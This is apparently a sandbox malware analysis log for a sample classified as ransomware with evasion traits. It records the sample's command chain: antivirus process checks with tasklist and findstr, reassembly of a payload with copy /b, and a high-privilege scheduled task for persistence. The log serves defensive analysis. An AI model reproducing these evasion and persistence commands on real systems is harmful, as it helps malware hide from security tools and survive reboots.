Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C055E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	10_2_00C055E5
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F55E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	15_2_006F55E5

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00406C5B	0_2_00406C5B
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BAB020	10_2_00BAB020
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BA94E0	10_2_00BA94E0
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BA9C80	10_2_00BA9C80
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C281C8	10_2_00C281C8
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC2325	10_2_00BC2325
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BD6432	10_2_00BD6432
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BD258E	10_2_00BD258E
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BAE6F0	10_2_00BAE6F0
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC275A	10_2_00BC275A
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BD88EF	10_2_00BD88EF
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C20802	10_2_00C20802
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BD69A4	10_2_00BD69A4
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BFEB95	10_2_00BFEB95
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BB0BE0	10_2_00BB0BE0
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BCCC81	10_2_00BCCC81
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C08CB1	10_2_00C08CB1
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00C20C7F	10_2_00C20C7F
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BD6F16	10_2_00BD6F16
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC32E9	10_2_00BC32E9
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BCF339	10_2_00BCF339
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BBD457	10_2_00BBD457
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC15E4	10_2_00BC15E4
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BBF57E	10_2_00BBF57E
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BAF6A0	10_2_00BAF6A0
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BA1663	10_2_00BA1663
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC77F3	10_2_00BC77F3
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC1AD8	10_2_00BC1AD8
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BCDAD5	10_2_00BCDAD5
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BD9C15	10_2_00BD9C15
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BBDD14	10_2_00BBDD14
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BC1EF0	10_2_00BC1EF0
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BCBF06	10_2_00BCBF06
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_0069B020	15_2_0069B020
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006994E0	15_2_006994E0
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_00699C80	15_2_00699C80
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_007181C8	15_2_007181C8
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B2325	15_2_006B2325
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006C6432	15_2_006C6432
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006C258E	15_2_006C258E
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_0069E6F0	15_2_0069E6F0
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B275A	15_2_006B275A
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_00710802	15_2_00710802
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006C88EF	15_2_006C88EF
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006C69A4	15_2_006C69A4
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006A0BE0	15_2_006A0BE0
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006EEB95	15_2_006EEB95
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_00710C7F	15_2_00710C7F
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006F8CB1	15_2_006F8CB1
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006BCC81	15_2_006BCC81
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006C6F16	15_2_006C6F16
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B32E9	15_2_006B32E9
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006BF339	15_2_006BF339
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006AD457	15_2_006AD457
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006AF57E	15_2_006AF57E
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B15E4	15_2_006B15E4
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_00691663	15_2_00691663
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_0069F6A0	15_2_0069F6A0
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B77F3	15_2_006B77F3
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B1AD8	15_2_006B1AD8
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006BDAD5	15_2_006BDAD5
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006C9C15	15_2_006C9C15
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006ADD14	15_2_006ADD14
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006B1EF0	15_2_006B1EF0
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006BBF06	15_2_006BBF06

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif 8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif 8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: String function: 00BC0C42 appears 70 times
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: String function: 00BB1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: String function: 00BC8A60 appears 42 times
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: String function: 006B8A60 appears 42 times
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: String function: 006B0C42 appears 70 times
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: String function: 006A1A36 appears 34 times

Source: file.exe, 00000000.00000002.1901869005.000000000292E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs file.exe

Source: file.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal84.rans.evad.winEXE@28/49@1/0

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C0A51A GetLastError,FormatMessageW,

10_2_00C0A51A

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004035D8 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,ExitProcess,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,	0_2_004035D8
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BF8BCC AdjustTokenPrivileges,CloseHandle,	10_2_00BF8BCC
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Code function: 10_2_00BF917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	10_2_00BF917C
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006E8BCC AdjustTokenPrivileges,CloseHandle,	15_2_006E8BCC
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Code function: 15_2_006E917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	15_2_006E917C

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00404983 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404983

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C03FB5 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,FindCloseChangeNotification,

10_2_00C03FB5

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004021A2 CoCreateInstance,

0_2_004021A2

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

Code function: 10_2_00C042AA __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

10_2_00C042AA

Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif

File created: C:\Users\user\AppData\Local\TechMind360 Innovations Co

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7480:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7748:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\nsb6503.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 812297
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "IndieBeachesHonIo" Janet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Praise + Bee + Random + Acoustic + Predict + Shannon + Extreme + Gnome + Sandra + Wright + Ready + Bb + Dot + Almost + Do + Continental 812297\g
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif 812297\Shopzilla.pif 812297\g
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif" "C:\Users\user\AppData\Local\TechMind360 Innovations Co\L"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Anyone Anyone.cmd & Anyone.cmd	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 812297	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "IndieBeachesHonIo" Janet	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Praise + Bee + Random + Acoustic + Predict + Shannon + Extreme + Gnome + Sandra + Wright + Ready + Bb + Dot + Almost + Do + Continental 812297\g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif 812297\Shopzilla.pif 812297\g	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "MindTechPro360" /tr "wscript //B 'C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.js'" /sc onlogon /F /RL HIGHEST	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif "C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif" "C:\Users\user\AppData\Local\TechMind360 Innovations Co\L"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\812297\Shopzilla.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\TechMind360 Innovations Co\MindTechPro360.pif	Section loaded: kernel.appcore.dll	Jump to behavior
